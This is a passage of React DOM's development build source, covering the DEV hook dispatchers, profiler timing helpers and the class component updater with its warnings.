        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;

        try {
          return mountMemo(create, deps);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useReducer: function (reducer, initialArg, init) {
        currentHookNameInDev = 'useReducer';
        mountHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;

        try {
          return mountReducer(reducer, initialArg, init);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useRef: function (initialValue) {
        currentHookNameInDev = 'useRef';
        mountHookTypesDev();
        return mountRef(initialValue);
      },
      useState: function (initialState) {
        currentHookNameInDev = 'useState';
        mountHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;

        try {
          return mountState(initialState);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useDebugValue: function (value, formatterFn) {
        currentHookNameInDev = 'useDebugValue';
        mountHookTypesDev();
        return mountDebugValue();
      },
      useDeferredValue: function (value) {
        currentHookNameInDev = 'useDeferredValue';
        mountHookTypesDev();
        return mountDeferredValue(value);
      },
      useTransition: function () {
        currentHookNameInDev = 'useTransition';
        mountHookTypesDev();
        return mountTransition();
      },
      useMutableSource: function (source, getSnapshot, subscribe) {
        currentHookNameInDev = 'useMutableSource';
        mountHookTypesDev();
        return mountMutableSource();
      },
      useSyncExternalStore: function (subscribe, getSnapshot, getServerSnapshot) {
        currentHookNameInDev = 'useSyncExternalStore';
        mountHookTypesDev();
        return mountSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);
      },
      useId: function () {
        currentHookNameInDev = 'useId';
        mountHookTypesDev();
        return mountId();
      },
      unstable_isNewReconciler: enableNewReconciler
    };

    HooksDispatcherOnMountWithHookTypesInDEV = {
      readContext: function (context) {
        return readContext(context);
      },
      useCallback: function (callback, deps) {
        currentHookNameInDev = 'useCallback';
        updateHookTypesDev();
        return mountCallback(callback, deps);
      },
      useContext: function (context) {
        currentHookNameInDev = 'useContext';
        updateHookTypesDev();
        return readContext(context);
      },
      useEffect: function (create, deps) {
        currentHookNameInDev = 'useEffect';
        updateHookTypesDev();
        return mountEffect(create, deps);
      },
      useImperativeHandle: function (ref, create, deps) {
        currentHookNameInDev = 'useImperativeHandle';
        updateHookTypesDev();
        return mountImperativeHandle(ref, create, deps);
      },
      useInsertionEffect: function (create, deps) {
        currentHookNameInDev = 'useInsertionEffect';
        updateHookTypesDev();
        return mountInsertionEffect(create, deps);
      },
      useLayoutEffect: function (create, deps) {
        currentHookNameInDev = 'useLayoutEffect';
        updateHookTypesDev();
        return mountLayoutEffect(create, deps);
      },
      useMemo: function (create, deps) {
        currentHookNameInDev = 'useMemo';
        updateHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;

        try {
          return mountMemo(create, deps);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useReducer: function (reducer, initialArg, init) {
        currentHookNameInDev = 'useReducer';
        updateHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;

        try {
          return mountReducer(reducer, initialArg, init);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useRef: function (initialValue) {
        currentHookNameInDev = 'useRef';
        updateHookTypesDev();
        return mountRef(initialValue);
      },
      useState: function (initialState) {
        currentHookNameInDev = 'useState';
        updateHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;

        try {
          return mountState(initialState);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useDebugValue: function (value, formatterFn) {
        currentHookNameInDev = 'useDebugValue';
        updateHookTypesDev();
        return mountDebugValue();
      },
      useDeferredValue: function (value) {
        currentHookNameInDev = 'useDeferredValue';
        updateHookTypesDev();
        return mountDeferredValue(value);
      },
      useTransition: function () {
        currentHookNameInDev = 'useTransition';
        updateHookTypesDev();
        return mountTransition();
      },
      useMutableSource: function (source, getSnapshot, subscribe) {
        currentHookNameInDev = 'useMutableSource';
        updateHookTypesDev();
        return mountMutableSource();
      },
      useSyncExternalStore: function (subscribe, getSnapshot, getServerSnapshot) {
        currentHookNameInDev = 'useSyncExternalStore';
        updateHookTypesDev();
        return mountSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);
      },
      useId: function () {
        currentHookNameInDev = 'useId';
        updateHookTypesDev();
        return mountId();
      },
      unstable_isNewReconciler: enableNewReconciler
    };

    HooksDispatcherOnUpdateInDEV = {
      readContext: function (context) {
        return readContext(context);
      },
      useCallback: function (callback, deps) {
        currentHookNameInDev = 'useCallback';
        updateHookTypesDev();
        return updateCallback(callback, deps);
      },
      useContext: function (context) {
        currentHookNameInDev = 'useContext';
        updateHookTypesDev();
        return readContext(context);
      },
      useEffect: function (create, deps) {
        currentHookNameInDev = 'useEffect';
        updateHookTypesDev();
        return updateEffect(create, deps);
      },
      useImperativeHandle: function (ref, create, deps) {
        currentHookNameInDev = 'useImperativeHandle';
        updateHookTypesDev();
        return updateImperativeHandle(ref, create, deps);
      },
      useInsertionEffect: function (create, deps) {
        currentHookNameInDev = 'useInsertionEffect';
        updateHookTypesDev();
        return updateInsertionEffect(create, deps);
      },
      useLayoutEffect: function (create, deps) {
        currentHookNameInDev = 'useLayoutEffect';
        updateHookTypesDev();
        return updateLayoutEffect(create, deps);
      },
      useMemo: function (create, deps) {
        currentHookNameInDev = 'useMemo';
        updateHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;

        try {
          return updateMemo(create, deps);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useReducer: function (reducer, initialArg, init) {
        currentHookNameInDev = 'useReducer';
        updateHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;

        try {
          return updateReducer(reducer, initialArg, init);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useRef: function (initialValue) {
        currentHookNameInDev = 'useRef';
        updateHookTypesDev();
        return updateRef();
      },
      useState: function (initialState) {
        currentHookNameInDev = 'useState';
        updateHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;

        try {
          return updateState(initialState);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useDebugValue: function (value, formatterFn) {
        currentHookNameInDev = 'useDebugValue';
        updateHookTypesDev();
        return updateDebugValue();
      },
      useDeferredValue: function (value) {
        currentHookNameInDev = 'useDeferredValue';
        updateHookTypesDev();
        return updateDeferredValue(value);
      },
      useTransition: function () {
        currentHookNameInDev = 'useTransition';
        updateHookTypesDev();
        return updateTransition();
      },
      useMutableSource: function (source, getSnapshot, subscribe) {
        currentHookNameInDev = 'useMutableSource';
        updateHookTypesDev();
        return updateMutableSource();
      },
      useSyncExternalStore: function (subscribe, getSnapshot, getServerSnapshot) {
        currentHookNameInDev = 'useSyncExternalStore';
        updateHookTypesDev();
        return updateSyncExternalStore(subscribe, getSnapshot);
      },
      useId: function () {
        currentHookNameInDev = 'useId';
        updateHookTypesDev();
        return updateId();
      },
      unstable_isNewReconciler: enableNewReconciler
    };

    HooksDispatcherOnRerenderInDEV = {
      readContext: function (context) {
        return readContext(context);
      },
      useCallback: function (callback, deps) {
        currentHookNameInDev = 'useCallback';
        updateHookTypesDev();
        return updateCallback(callback, deps);
      },
      useContext: function (context) {
        currentHookNameInDev = 'useContext';
        updateHookTypesDev();
        return readContext(context);
      },
      useEffect: function (create, deps) {
        currentHookNameInDev = 'useEffect';
        updateHookTypesDev();
        return updateEffect(create, deps);
      },
      useImperativeHandle: function (ref, create, deps) {
        currentHookNameInDev = 'useImperativeHandle';
        updateHookTypesDev();
        return updateImperativeHandle(ref, create, deps);
      },
      useInsertionEffect: function (create, deps) {
        currentHookNameInDev = 'useInsertionEffect';
        updateHookTypesDev();
        return updateInsertionEffect(create, deps);
      },
      useLayoutEffect: function (create, deps) {
        currentHookNameInDev = 'useLayoutEffect';
        updateHookTypesDev();
        return updateLayoutEffect(create, deps);
      },
      useMemo: function (create, deps) {
        currentHookNameInDev = 'useMemo';
        updateHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnRerenderInDEV;

        try {
          return updateMemo(create, deps);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useReducer: function (reducer, initialArg, init) {
        currentHookNameInDev = 'useReducer';
        updateHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnRerenderInDEV;

        try {
          return rerenderReducer(reducer, initialArg, init);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useRef: function (initialValue) {
        currentHookNameInDev = 'useRef';
        updateHookTypesDev();
        return updateRef();
      },
      useState: function (initialState) {
        currentHookNameInDev = 'useState';
        updateHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnRerenderInDEV;

        try {
          return rerenderState(initialState);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useDebugValue: function (value, formatterFn) {
        currentHookNameInDev = 'useDebugValue';
        updateHookTypesDev();
        return updateDebugValue();
      },
      useDeferredValue: function (value) {
        currentHookNameInDev = 'useDeferredValue';
        updateHookTypesDev();
        return rerenderDeferredValue(value);
      },
      useTransition: function () {
        currentHookNameInDev = 'useTransition';
        updateHookTypesDev();
        return rerenderTransition();
      },
      useMutableSource: function (source, getSnapshot, subscribe) {
        currentHookNameInDev = 'useMutableSource';
        updateHookTypesDev();
        return updateMutableSource();
      },
      useSyncExternalStore: function (subscribe, getSnapshot, getServerSnapshot) {
        currentHookNameInDev = 'useSyncExternalStore';
        updateHookTypesDev();
        return updateSyncExternalStore(subscribe, getSnapshot);
      },
      useId: function () {
        currentHookNameInDev = 'useId';
        updateHookTypesDev();
        return updateId();
      },
      unstable_isNewReconciler: enableNewReconciler
    };

    InvalidNestedHooksDispatcherOnMountInDEV = {
      readContext: function (context) {
        warnInvalidContextAccess();
        return readContext(context);
      },
      useCallback: function (callback, deps) {
        currentHookNameInDev = 'useCallback';
        warnInvalidHookAccess();
        mountHookTypesDev();
        return mountCallback(callback, deps);
      },
      useContext: function (context) {
        currentHookNameInDev = 'useContext';
        warnInvalidHookAccess();
        mountHookTypesDev();
        return readContext(context);
      },
      useEffect: function (create, deps) {
        currentHookNameInDev = 'useEffect';
        warnInvalidHookAccess();
        mountHookTypesDev();
        return mountEffect(create, deps);
      },
      useImperativeHandle: function (ref, create, deps) {
        currentHookNameInDev = 'useImperativeHandle';
        warnInvalidHookAccess();
        mountHookTypesDev();
        return mountImperativeHandle(ref, create, deps);
      },
      useInsertionEffect: function (create, deps) {
        currentHookNameInDev = 'useInsertionEffect';
        warnInvalidHookAccess();
        mountHookTypesDev();
        return mountInsertionEffect(create, deps);
      },
      useLayoutEffect: function (create, deps) {
        currentHookNameInDev = 'useLayoutEffect';
        warnInvalidHookAccess();
        mountHookTypesDev();
        return mountLayoutEffect(create, deps);
      },
      useMemo: function (create, deps) {
        currentHookNameInDev = 'useMemo';
        warnInvalidHookAccess();
        mountHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;

        try {
          return mountMemo(create, deps);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useReducer: function (reducer, initialArg, init) {
        currentHookNameInDev = 'useReducer';
        warnInvalidHookAccess();
        mountHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;

        try {
          return mountReducer(reducer, initialArg, init);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useRef: function (initialValue) {
        currentHookNameInDev = 'useRef';
        warnInvalidHookAccess();
        mountHookTypesDev();
        return mountRef(initialValue);
      },
      useState: function (initialState) {
        currentHookNameInDev = 'useState';
        warnInvalidHookAccess();
        mountHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;

        try {
          return mountState(initialState);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useDebugValue: function (value, formatterFn) {
        currentHookNameInDev = 'useDebugValue';
        warnInvalidHookAccess();
        mountHookTypesDev();
        return mountDebugValue();
      },
      useDeferredValue: function (value) {
        currentHookNameInDev = 'useDeferredValue';
        warnInvalidHookAccess();
        mountHookTypesDev();
        return mountDeferredValue(value);
      },
      useTransition: function () {
        currentHookNameInDev = 'useTransition';
        warnInvalidHookAccess();
        mountHookTypesDev();
        return mountTransition();
      },
      useMutableSource: function (source, getSnapshot, subscribe) {
        currentHookNameInDev = 'useMutableSource';
        warnInvalidHookAccess();
        mountHookTypesDev();
        return mountMutableSource();
      },
      useSyncExternalStore: function (subscribe, getSnapshot, getServerSnapshot) {
        currentHookNameInDev = 'useSyncExternalStore';
        warnInvalidHookAccess();
        mountHookTypesDev();
        return mountSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);
      },
      useId: function () {
        currentHookNameInDev = 'useId';
        warnInvalidHookAccess();
        mountHookTypesDev();
        return mountId();
      },
      unstable_isNewReconciler: enableNewReconciler
    };

    InvalidNestedHooksDispatcherOnUpdateInDEV = {
      readContext: function (context) {
        warnInvalidContextAccess();
        return readContext(context);
      },
      useCallback: function (callback, deps) {
        currentHookNameInDev = 'useCallback';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateCallback(callback, deps);
      },
      useContext: function (context) {
        currentHookNameInDev = 'useContext';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return readContext(context);
      },
      useEffect: function (create, deps) {
        currentHookNameInDev = 'useEffect';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateEffect(create, deps);
      },
      useImperativeHandle: function (ref, create, deps) {
        currentHookNameInDev = 'useImperativeHandle';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateImperativeHandle(ref, create, deps);
      },
      useInsertionEffect: function (create, deps) {
        currentHookNameInDev = 'useInsertionEffect';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateInsertionEffect(create, deps);
      },
      useLayoutEffect: function (create, deps) {
        currentHookNameInDev = 'useLayoutEffect';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateLayoutEffect(create, deps);
      },
      useMemo: function (create, deps) {
        currentHookNameInDev = 'useMemo';
        warnInvalidHookAccess();
        updateHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;

        try {
          return updateMemo(create, deps);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useReducer: function (reducer, initialArg, init) {
        currentHookNameInDev = 'useReducer';
        warnInvalidHookAccess();
        updateHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;

        try {
          return updateReducer(reducer, initialArg, init);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useRef: function (initialValue) {
        currentHookNameInDev = 'useRef';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateRef();
      },
      useState: function (initialState) {
        currentHookNameInDev = 'useState';
        warnInvalidHookAccess();
        updateHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;

        try {
          return updateState(initialState);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useDebugValue: function (value, formatterFn) {
        currentHookNameInDev = 'useDebugValue';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateDebugValue();
      },
      useDeferredValue: function (value) {
        currentHookNameInDev = 'useDeferredValue';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateDeferredValue(value);
      },
      useTransition: function () {
        currentHookNameInDev = 'useTransition';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateTransition();
      },
      useMutableSource: function (source, getSnapshot, subscribe) {
        currentHookNameInDev = 'useMutableSource';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateMutableSource();
      },
      useSyncExternalStore: function (subscribe, getSnapshot, getServerSnapshot) {
        currentHookNameInDev = 'useSyncExternalStore';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateSyncExternalStore(subscribe, getSnapshot);
      },
      useId: function () {
        currentHookNameInDev = 'useId';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateId();
      },
      unstable_isNewReconciler: enableNewReconciler
    };

    InvalidNestedHooksDispatcherOnRerenderInDEV = {
      readContext: function (context) {
        warnInvalidContextAccess();
        return readContext(context);
      },
      useCallback: function (callback, deps) {
        currentHookNameInDev = 'useCallback';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateCallback(callback, deps);
      },
      useContext: function (context) {
        currentHookNameInDev = 'useContext';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return readContext(context);
      },
      useEffect: function (create, deps) {
        currentHookNameInDev = 'useEffect';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateEffect(create, deps);
      },
      useImperativeHandle: function (ref, create, deps) {
        currentHookNameInDev = 'useImperativeHandle';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateImperativeHandle(ref, create, deps);
      },
      useInsertionEffect: function (create, deps) {
        currentHookNameInDev = 'useInsertionEffect';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateInsertionEffect(create, deps);
      },
      useLayoutEffect: function (create, deps) {
        currentHookNameInDev = 'useLayoutEffect';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateLayoutEffect(create, deps);
      },
      useMemo: function (create, deps) {
        currentHookNameInDev = 'useMemo';
        warnInvalidHookAccess();
        updateHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;

        try {
          return updateMemo(create, deps);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useReducer: function (reducer, initialArg, init) {
        currentHookNameInDev = 'useReducer';
        warnInvalidHookAccess();
        updateHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;

        try {
          return rerenderReducer(reducer, initialArg, init);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useRef: function (initialValue) {
        currentHookNameInDev = 'useRef';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateRef();
      },
      useState: function (initialState) {
        currentHookNameInDev = 'useState';
        warnInvalidHookAccess();
        updateHookTypesDev();
        var prevDispatcher = ReactCurrentDispatcher$1.current;
        ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;

        try {
          return rerenderState(initialState);
        } finally {
          ReactCurrentDispatcher$1.current = prevDispatcher;
        }
      },
      useDebugValue: function (value, formatterFn) {
        currentHookNameInDev = 'useDebugValue';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateDebugValue();
      },
      useDeferredValue: function (value) {
        currentHookNameInDev = 'useDeferredValue';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return rerenderDeferredValue(value);
      },
      useTransition: function () {
        currentHookNameInDev = 'useTransition';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return rerenderTransition();
      },
      useMutableSource: function (source, getSnapshot, subscribe) {
        currentHookNameInDev = 'useMutableSource';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateMutableSource();
      },
      useSyncExternalStore: function (subscribe, getSnapshot, getServerSnapshot) {
        currentHookNameInDev = 'useSyncExternalStore';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateSyncExternalStore(subscribe, getSnapshot);
      },
      useId: function () {
        currentHookNameInDev = 'useId';
        warnInvalidHookAccess();
        updateHookTypesDev();
        return updateId();
      },
      unstable_isNewReconciler: enableNewReconciler
    };
  }

  var now$1 = unstable_now;
  var commitTime = 0;
  var layoutEffectStartTime = -1;
  var profilerStartTime = -1;
  var passiveEffectStartTime = -1;
  /**
   * Tracks whether the current update was a nested/cascading update (scheduled from a layout effect).
   *
   * The overall sequence is:
   *   1. render
   *   2. commit (and call `onRender`, `onCommit`)
   *   3. check for nested updates
   *   4. flush passive effects (and call `onPostCommit`)
   *
   * Nested updates are identified in step 3 above,
   * but step 4 still applies to the work that was just committed.
   * We use two flags to track nested updates then:
   * one tracks whether the upcoming update is a nested update,
   * and the other tracks whether the current update was a nested update.
   * The first value gets synced to the second at the start of the render phase.
   */

  var currentUpdateIsNested = false;
  var nestedUpdateScheduled = false;

  function isCurrentUpdateNested() {
    return currentUpdateIsNested;
  }

  function markNestedUpdateScheduled() {
    {
      nestedUpdateScheduled = true;
    }
  }

  function resetNestedUpdateFlag() {
    {
      currentUpdateIsNested = false;
      nestedUpdateScheduled = false;
    }
  }

  function syncNestedUpdateFlag() {
    {
      currentUpdateIsNested = nestedUpdateScheduled;
      nestedUpdateScheduled = false;
    }
  }

  function getCommitTime() {
    return commitTime;
  }

  function recordCommitTime() {

    commitTime = now$1();
  }

  function startProfilerTimer(fiber) {

    profilerStartTime = now$1();

    if (fiber.actualStartTime < 0) {
      fiber.actualStartTime = now$1();
    }
  }

  function stopProfilerTimerIfRunning(fiber) {

    profilerStartTime = -1;
  }

  function stopProfilerTimerIfRunningAndRecordDelta(fiber, overrideBaseTime) {

    if (profilerStartTime >= 0) {
      var elapsedTime = now$1() - profilerStartTime;
      fiber.actualDuration += elapsedTime;

      if (overrideBaseTime) {
        fiber.selfBaseDuration = elapsedTime;
      }

      profilerStartTime = -1;
    }
  }

  function recordLayoutEffectDuration(fiber) {

    if (layoutEffectStartTime >= 0) {
      var elapsedTime = now$1() - layoutEffectStartTime;
      layoutEffectStartTime = -1; // Store duration on the next nearest Profiler ancestor
      // Or the root (for the DevTools Profiler to read)

      var parentFiber = fiber.return;

      while (parentFiber !== null) {
        switch (parentFiber.tag) {
          case HostRoot:
            var root = parentFiber.stateNode;
            root.effectDuration += elapsedTime;
            return;

          case Profiler:
            var parentStateNode = parentFiber.stateNode;
            parentStateNode.effectDuration += elapsedTime;
            return;
        }

        parentFiber = parentFiber.return;
      }
    }
  }

  function recordPassiveEffectDuration(fiber) {

    if (passiveEffectStartTime >= 0) {
      var elapsedTime = now$1() - passiveEffectStartTime;
      passiveEffectStartTime = -1; // Store duration on the next nearest Profiler ancestor
      // Or the root (for the DevTools Profiler to read)

      var parentFiber = fiber.return;

      while (parentFiber !== null) {
        switch (parentFiber.tag) {
          case HostRoot:
            var root = parentFiber.stateNode;

            if (root !== null) {
              root.passiveEffectDuration += elapsedTime;
            }

            return;

          case Profiler:
            var parentStateNode = parentFiber.stateNode;

            if (parentStateNode !== null) {
              // Detached fibers have their state node cleared out.
              // In this case, the return pointer is also cleared out,
              // so we won't be able to report the time spent in this Profiler's subtree.
              parentStateNode.passiveEffectDuration += elapsedTime;
            }

            return;
        }

        parentFiber = parentFiber.return;
      }
    }
  }

  function startLayoutEffectTimer() {

    layoutEffectStartTime = now$1();
  }

  function startPassiveEffectTimer() {

    passiveEffectStartTime = now$1();
  }

  function transferActualDuration(fiber) {
    // Transfer time spent rendering these children so we don't lose it
    // after we rerender. This is used as a helper in special cases
    // where we should count the work of multiple passes.
    var child = fiber.child;

    while (child) {
      fiber.actualDuration += child.actualDuration;
      child = child.sibling;
    }
  }

  function resolveDefaultProps(Component, baseProps) {
    if (Component && Component.defaultProps) {
      // Resolve default props. Taken from ReactElement
      var props = assign({}, baseProps);
      var defaultProps = Component.defaultProps;

      for (var propName in defaultProps) {
        if (props[propName] === undefined) {
          props[propName] = defaultProps[propName];
        }
      }

      return props;
    }

    return baseProps;
  }

  var fakeInternalInstance = {};
  var didWarnAboutStateAssignmentForComponent;
  var didWarnAboutUninitializedState;
  var didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate;
  var didWarnAboutLegacyLifecyclesAndDerivedState;
  var didWarnAboutUndefinedDerivedState;
  var warnOnUndefinedDerivedState;
  var warnOnInvalidCallback;
  var didWarnAboutDirectlyAssigningPropsToState;
  var didWarnAboutContextTypeAndContextTypes;
  var didWarnAboutInvalidateContextType;
  var didWarnAboutLegacyContext$1;

  {
    didWarnAboutStateAssignmentForComponent = new Set();
    didWarnAboutUninitializedState = new Set();
    didWarnAboutGetSnapshotBeforeUpdateWithoutDidUpdate = new Set();
    didWarnAboutLegacyLifecyclesAndDerivedState = new Set();
    didWarnAboutDirectlyAssigningPropsToState = new Set();
    didWarnAboutUndefinedDerivedState = new Set();
    didWarnAboutContextTypeAndContextTypes = new Set();
    didWarnAboutInvalidateContextType = new Set();
    didWarnAboutLegacyContext$1 = new Set();
    var didWarnOnInvalidCallback = new Set();

    warnOnInvalidCallback = function (callback, callerName) {
      if (callback === null || typeof callback === 'function') {
        return;
      }

      var key = callerName + '_' + callback;

      if (!didWarnOnInvalidCallback.has(key)) {
        didWarnOnInvalidCallback.add(key);

        error('%s(...): Expected the last optional `callback` argument to be a ' + 'function. Instead received: %s.', callerName, callback);
      }
    };

    warnOnUndefinedDerivedState = function (type, partialState) {
      if (partialState === undefined) {
        var componentName = getComponentNameFromType(type) || 'Component';

        if (!didWarnAboutUndefinedDerivedState.has(componentName)) {
          didWarnAboutUndefinedDerivedState.add(componentName);

          error('%s.getDerivedStateFromProps(): A valid state object (or null) must be returned. ' + 'You have returned undefined.', componentName);
        }
      }
    }; // This is so gross but it's at least non-critical and can be removed if
    // it causes problems. This is meant to give a nicer error message for
    // ReactDOM15.unstable_renderSubtreeIntoContainer(reactDOM16Component,
    // ...)) which otherwise throws a "_processChildContext is not a function"
    // exception.


    Object.defineProperty(fakeInternalInstance, '_processChildContext', {
      enumerable: false,
      value: function () {
        throw new Error('_processChildContext is not available in React 16+. This likely ' + 'means you have multiple copies of React and are attempting to nest ' + 'a React 15 tree inside a React 16 tree using ' + "unstable_renderSubtreeIntoContainer, which isn't supported. Try " + 'to make sure you have only one copy of React (and ideally, switch ' + 'to ReactDOM.createPortal).');
      }
    });
    Object.freeze(fakeInternalInstance);
  }

  function applyDerivedStateFromProps(workInProgress, ctor, getDerivedStateFromProps, nextProps) {
    var prevState = workInProgress.memoizedState;
    var partialState = getDerivedStateFromProps(nextProps, prevState);

    {
      if ( workInProgress.mode & StrictLegacyMode) {
        setIsStrictModeForDevtools(true);

        try {
          // Invoke the function an extra time to help detect side-effects.
          partialState = getDerivedStateFromProps(nextProps, prevState);
        } finally {
          setIsStrictModeForDevtools(false);
        }
      }

      warnOnUndefinedDerivedState(ctor, partialState);
    } // Merge the partial state and the previous state.


    var memoizedState = partialState === null || partialState === undefined ? prevState : assign({}, prevState, partialState);
    workInProgress.memoizedState = memoizedState; // Once the update queue is empty, persist the derived state onto the
    // base state.

    if (workInProgress.lanes === NoLanes) {
      // Queue is always non-null for classes
      var updateQueue = workInProgress.updateQueue;
      updateQueue.baseState = memoizedState;
    }
  }

  var classComponentUpdater = {
    isMounted: isMounted,
    enqueueSetState: function (inst, payload, callback) {
      var fiber = get(inst);
      var eventTime = requestEventTime();
      var lane = requestUpdateLane(fiber);
      var update = createUpdate(eventTime, lane);
      update.payload = payload;

      if (callback !== undefined && callback !== null) {
        {
          warnOnInvalidCallback(callback, 'setState');
        }

        update.callback = callback;
      }

      var root = enqueueUpdate(fiber, update, lane);

      if (root !== null) {
        scheduleUpdateOnFiber(root, fiber, lane, eventTime);
        entangleTransitions(root, fiber, lane);
      }

      {
        markStateUpdateScheduled(fiber, lane);
      }
    },
    enqueueReplaceState: function (inst, payload, callback) {
      var fiber = get(inst);
      var eventTime = requestEventTime();
      var lane = requestUpdateLane(fiber);
      var update = createUpdate(eventTime, lane);
      update.tag = ReplaceState;
      update.payload = payload;

      if (callback !== undefined && callback !== null) {
        {
          warnOnInvalidCallback(callback, 'replaceState');
        }

        update.callback = callback;
      }

      var root = enqueueUpdate(fiber, update, lane);

      if (root !== null) {
        scheduleUpdateOnFiber(root, fiber, lane, eventTime);
        entangleTransitions(root, fiber, lane);
      }

      {
        markStateUpdateScheduled(fiber, lane);
      }
    },
    enqueueForceUpdate: function (inst, callback) {
      var fiber = get(inst);
      var eventTime = requestEventTime();
      var lane = requestUpdateLane(fiber);
      var update = createUpdate(eventTime, lane);
      update.tag = ForceUpdate;

      if (callback !== undefined && callback !== null) {
        {
          warnOnInvalidCallback(callback, 'forceUpdate');
        }

        update.callback = callback;
      }

      var root = enqueueUpdate(fiber, update, lane);

      if (root !== null) {
        scheduleUpdateOnFiber(root, fiber, lane, eventTime);
        entangleTransitions(root, fiber, lane);
      }

      {
        markForceUpdateScheduled(fiber, lane);
      }
